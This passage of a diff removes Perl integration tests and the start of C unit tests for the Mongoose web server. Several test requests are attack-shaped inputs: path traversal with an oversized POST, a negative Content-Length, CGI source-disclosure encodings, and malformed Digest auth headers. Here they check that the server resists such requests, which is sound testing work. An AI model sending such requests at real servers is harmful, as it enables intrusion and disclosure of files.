req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
|
||||
|
||||
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
|
||||
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
|
||||
'HTTP/1.1 200 OK', 'Negative content length');
|
||||
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
|
||||
'GET regular file Content-Length');
|
||||
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
|
||||
'HTTP/1.1 200 OK', 'URL-decoding');
|
||||
|
||||
# Break CGI reading after 1 second. We must get full output.
|
||||
# Since CGI script does sleep, we sleep as well and increase request count
|
||||
# manually.
|
||||
my $slow_cgi_reply;
|
||||
print "==> Slow CGI output ... ";
|
||||
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
|
||||
($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
|
||||
print "OK\n";
|
||||
sleep 3;
|
||||
$num_requests++;
|
||||
|
||||
# '+' in URI must not be URL-decoded to space
|
||||
write_file("$root/a+.txt", '');
|
||||
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
|
||||
|
||||
# Test HTTP version parsing
|
||||
o("GET / HTTPX/1.0\r\n\r\n", '400 Bad Request', 'Bad HTTP Version', 0);
|
||||
o("GET / HTTP/x.1\r\n\r\n", '505 HTTP', 'Bad HTTP maj Version');
|
||||
o("GET / HTTP/1.1z\r\n\r\n", '505 HTTP', 'Bad HTTP min Version');
|
||||
o("GET / HTTP/02.0\r\n\r\n", '505 HTTP version not supported',
|
||||
'HTTP Version >1.1');
|
||||
|
||||
# File with leading single dot
|
||||
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
|
||||
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
|
||||
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
|
||||
if on_windows();
|
||||
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
|
||||
|
||||
mkdir $test_dir unless -d $test_dir;
|
||||
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
|
||||
'HTTP/1.1 404', 'PATH_INFO loop problem');
|
||||
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
|
||||
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
|
||||
write_file("$test_dir/index.html", "tralala");
|
||||
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
|
||||
o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
|
||||
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
|
||||
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
|
||||
mkdir $test_dir . $dir_separator . 'x';
|
||||
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
|
||||
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
|
||||
chmod(0755, $path);
|
||||
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
|
||||
'index.cgi execution');
|
||||
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
|
||||
"SCRIPT_FILENAME=test/test_dir/x/index.cgi", 'SCRIPT_FILENAME');
|
||||
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
|
||||
'Aliases SCRIPT_NAME');
|
||||
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
|
||||
'No keep-alive');
|
||||
|
||||
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
|
||||
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
|
||||
write_file($path, "#!../../myperl\n" .
|
||||
"print \"Content-Type: text/plain\\n\\nhi\";");
|
||||
chmod(0755, $path);
|
||||
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
|
||||
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
|
||||
|
||||
my $mime_types = {
|
||||
html => 'text/html',
|
||||
htm => 'text/html',
|
||||
txt => 'text/plain',
|
||||
unknown_extension => 'text/plain',
|
||||
js => 'application/x-javascript',
|
||||
css => 'text/css',
|
||||
jpg => 'image/jpeg',
|
||||
c => 'text/plain',
|
||||
'tar.gz' => 'blah',
|
||||
bar => 'foo/bar',
|
||||
baz => 'foo',
|
||||
};
|
||||
|
||||
foreach my $key (keys %$mime_types) {
|
||||
my $filename = "_mime_file_test.$key";
|
||||
write_file("$root/$filename", '');
|
||||
o("GET /$filename HTTP/1.0\n\n",
|
||||
"Content-Type: $mime_types->{$key}", ".$key mime type");
|
||||
unlink "$root/$filename";
|
||||
}
|
||||
|
||||
# Get binary file and check the integrity
|
||||
my $binary_file = 'binary_file';
|
||||
my $f2 = '';
|
||||
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
|
||||
write_file("$root/$binary_file", $f2);
|
||||
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
|
||||
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
|
||||
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
|
||||
|
||||
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
|
||||
"Range: bytes=3-5\r\n\r\n";
|
||||
o($range_request, '206 Partial Content', 'Range: 206 status code');
|
||||
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
|
||||
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
|
||||
o($range_request, '\nple$', 'Range: body content');
|
||||
|
||||
# Test directory sorting. Sleep between file creation for 1.1 seconds,
|
||||
# to make sure modification time are different.
|
||||
mkdir "$test_dir/sort";
|
||||
write_file("$test_dir/sort/11", 'xx');
|
||||
select undef, undef, undef, 1.1;
|
||||
write_file("$test_dir/sort/aa", 'xxxx');
|
||||
select undef, undef, undef, 1.1;
|
||||
write_file("$test_dir/sort/bb", 'xxx');
|
||||
select undef, undef, undef, 1.1;
|
||||
write_file("$test_dir/sort/22", 'x');
|
||||
|
||||
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
|
||||
'200 OK.+>11<.+>22<.+>aa<.+>bb<',
|
||||
'Directory listing (name, ascending)');
|
||||
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
|
||||
'200 OK.+>bb<.+>aa<.+>22<.+>11<',
|
||||
'Directory listing (name, descending)');
|
||||
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
|
||||
'200 OK.+>22<.+>11<.+>bb<.+>aa<',
|
||||
'Directory listing (size, ascending)');
|
||||
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
|
||||
'200 OK.+>aa<.+>bb<.+>11<.+>22<',
|
||||
'Directory listing (size, descending)');
|
||||
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
|
||||
'200 OK.+>11<.+>aa<.+>bb<.+>22<',
|
||||
'Directory listing (modification time, ascending)');
|
||||
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
|
||||
'200 OK.+>22<.+>bb<.+>aa<.+>11<',
|
||||
'Directory listing (modification time, descending)');
|
||||
|
||||
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
|
||||
# Check that .htpasswd file existence trigger authorization
|
||||
write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
|
||||
o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
|
||||
'.htpasswd - triggering auth on file request');
|
||||
o("GET / HTTP/1.1\n\n", '401 Unauthorized',
|
||||
'.htpasswd - triggering auth on directory request');
|
||||
|
||||
# Test various funky things in an authentication header.
|
||||
o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
|
||||
'401 Unauthorized', 'weird auth values should not cause crashes');
|
||||
my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
|
||||
"realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
|
||||
"response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
|
||||
o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
|
||||
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
|
||||
'.htpasswd is hidden from the directory list');
|
||||
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
|
||||
'hidden file is hidden from the directory list');
|
||||
o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
|
||||
'^HTTP/1.1 404 ', '.htpasswd must not be shown');
|
||||
o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
|
||||
'^HTTP/1.1 404', 'hidden files must not be shown');
|
||||
unlink "$root/.htpasswd";
|
||||
|
||||
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
|
||||
o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r",
|
||||
'CGI Status code text');
|
||||
o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
|
||||
'GET sh CGI file') unless on_windows();
|
||||
o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
|
||||
'QUERY_STRING wrong');
|
||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
|
||||
'var=HELLO', 'CGI POST wrong');
|
||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
|
||||
'\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
|
||||
o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
|
||||
'HTTP_MY_HDR=abc', 'HTTP_* env');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
|
||||
'HTTP/1.1 200 OK', 'GET CGI with trailing data');
|
||||
|
||||
o("GET /env.cgi%20 HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
|
||||
o("GET /env.cgi%ff HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
|
||||
o("GET /env.cgi%2e HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
|
||||
o("GET /env.cgi%2b HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3');
|
||||
o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
|
||||
o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
|
||||
|
||||
# Check that CGI's current directory is set to script's directory
|
||||
my $copy_cmd = on_windows() ? 'copy' : 'cp';
|
||||
system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
|
||||
$dir_separator . 'env.cgi');
|
||||
o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
|
||||
"CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
|
||||
|
||||
# SSI tests
|
||||
o("GET /ssi1.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file=');
|
||||
o("GET /ssi2.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual=');
|
||||
my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml';
|
||||
o("GET /$ssi_exec HTTP/1.0\n\n",
|
||||
'ssi_begin.+Makefile.+ssi_end', 'SSI #exec');
|
||||
my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml';
|
||||
my $word = on_windows() ? 'boot loader' : 'root';
|
||||
o("GET /$abs_path HTTP/1.0\n\n",
|
||||
"ssi_begin.+$word.+ssi_end", 'SSI #include file= (absolute)');
|
||||
o("GET /ssi7.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."');
|
||||
o("GET /ssi8.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes');
|
||||
|
||||
# Manipulate the passwords file
|
||||
my $path = 'test_htpasswd';
|
||||
unlink $path;
|
||||
system("$exe -A $path a b c") == 0
|
||||
or fail("Cannot add user in a passwd file");
|
||||
system("$exe -A $path a b c2") == 0
|
||||
or fail("Cannot edit user in a passwd file");
|
||||
my $content = read_file($path);
|
||||
$content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
|
||||
unlink $path;
|
||||
|
||||
do_PUT_test();
|
||||
kill_spawned_child();
|
||||
do_unit_test();
|
||||
do_embedded_test();
|
||||
}
|
||||
|
||||
sub do_PUT_test {
|
||||
# This only works because mongoose currently doesn't look at the nonce.
|
||||
# It should really be rejected...
|
||||
my $auth_header = "Authorization: Digest username=guest, ".
|
||||
"realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
|
||||
"response=896327350763836180c61d87578037d9, qop=auth, ".
|
||||
"nc=00000002, cnonce=53eddd3be4e26a98\n";
|
||||
|
||||
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
|
||||
"HTTP/1.1 201 OK", 'PUT file, status 201');
|
||||
fail("PUT content mismatch")
|
||||
unless read_file("$root/a/put.txt") eq '1234567';
|
||||
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
|
||||
"HTTP/1.1 200 OK", 'PUT file, status 200');
|
||||
fail("PUT content mismatch")
|
||||
unless read_file("$root/a/put.txt") eq 'abcd';
|
||||
o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
|
||||
"HTTP/1.1 411 Length Required", 'PUT 411 error');
|
||||
o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n".
|
||||
"$auth_header\nabcd",
|
||||
"HTTP/1.1 417 Expectation Failed", 'PUT 417 error');
|
||||
o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
|
||||
"$auth_header\nabcd",
|
||||
"HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
|
||||
}
|
||||
|
||||
sub do_unit_test {
|
||||
my $cmd = "cc -g -W -Wall -o $unit_test_exe $root/unit_test.c -I. ".
|
||||
"-pthread -DNO_SSL ";
|
||||
if (on_windows()) {
|
||||
$cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
|
||||
"/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
|
||||
}
|
||||
print $cmd, "\n";
|
||||
system($cmd) == 0 or fail("Cannot compile unit test");
|
||||
system($unit_test_exe) == 0 or fail("Unit test failed!");
|
||||
}
|
||||
|
||||
sub do_embedded_test {
|
||||
my $cmd = "cc -W -Wall -o $embed_exe $root/embed.c mongoose.c -I. ".
|
||||
"-pthread -DNO_SSL -DLISTENING_PORT=\\\"$port\\\"";
|
||||
if (on_windows()) {
|
||||
$cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
|
||||
"/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
|
||||
}
|
||||
print $cmd, "\n";
|
||||
system($cmd) == 0 or fail("Cannot compile embedded unit test");
|
||||
|
||||
spawn("./$embed_exe");
|
||||
o("GET /test_get_header HTTP/1.0\nHost: blah\n\n",
|
||||
'Value: \[blah\]', 'mg_get_header', 0);
|
||||
o("GET /test_get_var?a=b&my_var=foo&c=d HTTP/1.0\n\n",
|
||||
'Value: \[foo\]', 'mg_get_var 1', 0);
|
||||
o("GET /test_get_var?my_var=foo&c=d HTTP/1.0\n\n",
|
||||
'Value: \[foo\]', 'mg_get_var 2', 0);
|
||||
o("GET /test_get_var?a=b&my_var=foo HTTP/1.0\n\n",
|
||||
'Value: \[foo\]', 'mg_get_var 3', 0);
|
||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
|
||||
"my_var=foo", 'Value: \[foo\]', 'mg_get_var 4', 0);
|
||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 18\n\n".
|
||||
"a=b&my_var=foo&c=d", 'Value: \[foo\]', 'mg_get_var 5', 0);
|
||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 14\n\n".
|
||||
"a=b&my_var=foo", 'Value: \[foo\]', 'mg_get_var 6', 0);
|
||||
o("GET /test_get_var?a=one%2btwo&my_var=foo& HTTP/1.0\n\n",
|
||||
'Value: \[foo\]', 'mg_get_var 7', 0);
|
||||
o("GET /test_get_var?my_var=one%2btwo&b=two%2b HTTP/1.0\n\n",
|
||||
'Value: \[one\+two\]', 'mg_get_var 8', 0);
|
||||
|
||||
# + in form data MUST be decoded to space
|
||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
|
||||
"my_var=b+c", 'Value: \[b c\]', 'mg_get_var 9', 0);
|
||||
|
||||
# Test that big POSTed vars are not truncated
|
||||
my $my_var = 'x' x 64000;
|
||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 64007\n\n".
|
||||
"my_var=$my_var", 'Value size: \[64000\]', 'mg_get_var 10', 0);
|
||||
|
||||
# Other methods should also work
|
||||
o("PUT /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
|
||||
"my_var=foo", 'Value: \[foo\]', 'mg_get_var 11', 0);
|
||||
|
||||
o("POST /test_get_request_info?xx=yy HTTP/1.0\nFoo: bar\n".
|
||||
"Content-Length: 3\n\na=b",
|
||||
'Method: \[POST\].URI: \[/test_get_request_info\].'.
|
||||
'HTTP version: \[1.0\].HTTP header \[Foo\]: \[bar\].'.
|
||||
'HTTP header \[Content-Length\]: \[3\].'.
|
||||
'Query string: \[xx=yy\].'.
|
||||
'Remote IP: \[\d+\].Remote port: \[\d+\].'.
|
||||
'Remote user: \[\]'
|
||||
, 'request_info', 0);
|
||||
o("GET /not_exist HTTP/1.0\n\n", 'Error: \[404\]', '404 handler', 0);
|
||||
o("bad request\n\n", 'Error: \[400\]', '* error handler', 0);
|
||||
# o("GET /foo/secret HTTP/1.0\n\n",
|
||||
# '401 Unauthorized', 'mg_protect_uri', 0);
|
||||
# o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=bill\n\n",
|
||||
# '401 Unauthorized', 'mg_protect_uri (bill)', 0);
|
||||
# o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=joe\n\n",
|
||||
# '200 OK', 'mg_protect_uri (joe)', 0);
|
||||
|
||||
kill_spawned_child();
|
||||
}
|
||||
|
||||
print "SUCCESS! All tests passed.\n";
|
||||
@@ -1,12 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
# Make stdout unbuffered
|
||||
use FileHandle;
|
||||
STDOUT->autoflush(1);
|
||||
|
||||
# This script outputs some content, then sleeps for 5 seconds, then exits.
|
||||
# Web server should return the content immediately after it is sent,
|
||||
# not waiting until the script exits.
|
||||
print "Content-Type: text/html\r\n\r\n";
|
||||
print "Some data";
|
||||
sleep 3;
|
||||
@@ -1,400 +0,0 @@
|
||||
#define USE_WEBSOCKET
|
||||
#include "mongoose.c"
|
||||
|
||||
#define FATAL(str, line) do { \
|
||||
printf("Fail on line %d: [%s]\n", line, str); \
|
||||
abort(); \
|
||||
} while (0)
|
||||
#define ASSERT(expr) do { if (!(expr)) FATAL(#expr, __LINE__); } while (0)
|
||||
|
||||
#define UNUSED_PORT "33796"
|
||||
|
||||
static void test_parse_http_request() {
|
||||
struct mg_request_info ri;
|
||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
|
||||
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
|
||||
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
|
||||
|
||||
ASSERT(parse_http_request(req1, sizeof(req1), &ri) == sizeof(req1) - 1);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
ASSERT(ri.num_headers == 0);
|
||||
|
||||
ASSERT(parse_http_request(req2, sizeof(req2), &ri) == -1);
|
||||
ASSERT(parse_http_request(req3, sizeof(req3), &ri) == -1);
|
||||
|
||||
// TODO(lsm): Fix this. Header value may span multiple lines.
|
||||
ASSERT(parse_http_request(req4, sizeof(req4), &ri) == sizeof(req4) - 1);
|
||||
ASSERT(ri.num_headers == 3);
|
||||
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
|
||||
|
||||
// TODO(lsm): add more tests.
|
||||
}
|
||||
|
||||
static void test_should_keep_alive(void) {
|
||||
struct mg_connection conn;
|
||||
struct mg_context ctx;
|
||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req2[] = "GET / HTTP/1.0\r\n\r\n";
|
||||
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
|
||||
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
|
||||
|
||||
memset(&conn, 0, sizeof(conn));
|
||||
conn.ctx = &ctx;
|
||||
parse_http_request(req1, sizeof(req1), &conn.request_info);
|
||||
|
||||
ctx.config[ENABLE_KEEP_ALIVE] = "no";
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
ctx.config[ENABLE_KEEP_ALIVE] = "yes";
|
||||
ASSERT(should_keep_alive(&conn) == 1);
|
||||
|
||||
conn.must_close = 1;
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
conn.must_close = 0;
|
||||
parse_http_request(req2, sizeof(req2), &conn.request_info);
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
parse_http_request(req3, sizeof(req3), &conn.request_info);
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
parse_http_request(req4, sizeof(req4), &conn.request_info);
|
||||
ASSERT(should_keep_alive(&conn) == 1);
|
||||
|
||||
conn.status_code = 401;
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
conn.status_code = 200;
|
||||
conn.must_close = 1;
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
}
|
||||
|
||||
static void test_match_prefix(void) {
|
||||
ASSERT(match_prefix("/api", 4, "/api") == 4);
|
||||
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
|
||||
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
|
||||
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
|
||||
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
|
||||
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
|
||||
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
|
||||
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
|
||||
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
|
||||
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
|
||||
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
|
||||
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
|
||||
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
|
||||
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
|
||||
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
|
||||
ASSERT(match_prefix("$", 1, "") == 0);
|
||||
ASSERT(match_prefix("$", 1, "x") == -1);
|
||||
ASSERT(match_prefix("*$", 2, "x") == 1);
|
||||
ASSERT(match_prefix("/$", 2, "/") == 1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
|
||||
ASSERT(match_prefix("*", 1, "/hello/") == 0);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.a") == 6);
|
||||
}
|
||||
|
||||
static void test_remove_double_dots() {
|
||||
struct { char before[20], after[20]; } data[] = {
|
||||
{"////a", "/a"},
|
||||
{"/.....", "/."},
|
||||
{"/......", "/"},
|
||||
{"...", "..."},
|
||||
{"/...///", "/./"},
|
||||
{"/a...///", "/a.../"},
|
||||
{"/.x", "/.x"},
|
||||
{"/\\", "/"},
|
||||
{"/a\\", "/a\\"},
|
||||
{"/a\\\\...", "/a\\."},
|
||||
};
|
||||
size_t i;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(data); i++) {
|
||||
printf("[%s] -> [%s]\n", data[i].before, data[i].after);
|
||||
remove_double_dots_and_double_slashes(data[i].before);
|
||||
ASSERT(strcmp(data[i].before, data[i].after) == 0);
|
||||
}
|
||||
}
|
||||
|
||||
static const char *fetch_data = "hello world!\n";
|
||||
static const char *inmemory_file_data = "hi there";
|
||||
static void *event_handler(enum mg_event event, struct mg_connection *conn) {
|
||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
||||
|
||||
if (event == MG_NEW_REQUEST && !strcmp(request_info->uri, "/data")) {
|
||||
mg_printf(conn, "HTTP/1.1 200 OK\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"Content-Type: text/plain\r\n\r\n"
|
||||
"%s", (int) strlen(fetch_data), fetch_data);
|
||||
return "";
|
||||
} else if (event == MG_OPEN_FILE) {
|
||||
const char *path = request_info->ev_data;
|
||||
printf("%s: [%s]\n", __func__, path);
|
||||
if (strcmp(path, "./blah") == 0) {
|
||||
mg_get_request_info(conn)->ev_data =
|
||||
(void *) (int) strlen(inmemory_file_data);
|
||||
return (void *) inmemory_file_data;
|
||||
}
|
||||
} else if (event == MG_EVENT_LOG) {
|
||||
printf("%s\n", (const char *) mg_get_request_info(conn)->ev_data);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void test_mg_fetch(void) {
|
||||
static const char *options[] = {
|
||||
"document_root", ".",
|
||||
"listening_ports", UNUSED_PORT,
|
||||
NULL,
|
||||
};
|
||||
char buf[2000], buf2[2000];
|
||||
int n, length;
|
||||
struct mg_context *ctx;
|
||||
struct mg_request_info ri;
|
||||
const char *tmp_file = "temporary_file_name_for_unit_test.txt";
|
||||
struct file file;
|
||||
FILE *fp;
|
||||
|
||||
ASSERT((ctx = mg_start(event_handler, NULL, options)) != NULL);
|
||||
|
||||
// Failed fetch, pass invalid URL
|
||||
ASSERT(mg_fetch(ctx, "localhost", tmp_file, buf, sizeof(buf), &ri) == NULL);
|
||||
ASSERT(mg_fetch(ctx, "localhost:" UNUSED_PORT, tmp_file,
|
||||
buf, sizeof(buf), &ri) == NULL);
|
||||
ASSERT(mg_fetch(ctx, "http://$$$.$$$", tmp_file,
|
||||
buf, sizeof(buf), &ri) == NULL);
|
||||
|
||||
// Failed fetch, pass invalid file name
|
||||
ASSERT(mg_fetch(ctx, "http://localhost:" UNUSED_PORT "/data",
|
||||
"/this/file/must/not/exist/ever",
|
||||
buf, sizeof(buf), &ri) == NULL);
|
||||
|
||||
// Successful fetch
|
||||
ASSERT((fp = mg_fetch(ctx, "http://localhost:" UNUSED_PORT "/data",
|
||||
tmp_file, buf, sizeof(buf), &ri)) != NULL);
|
||||
ASSERT(ri.num_headers == 2);
|
||||
ASSERT(!strcmp(ri.request_method, "HTTP/1.1"));
|
||||
ASSERT(!strcmp(ri.uri, "200"));
|
||||
ASSERT(!strcmp(ri.http_version, "OK"));
|
||||
ASSERT((length = ftell(fp)) == (int) strlen(fetch_data));
|
||||
fseek(fp, 0, SEEK_SET);
|
||||
ASSERT(fread(buf2, 1, length, fp) == (size_t) length);
|
||||
ASSERT(memcmp(buf2, fetch_data, length) == 0);
|
||||
fclose(fp);
|
||||
|
||||
// Fetch big file, mongoose.c
|
||||
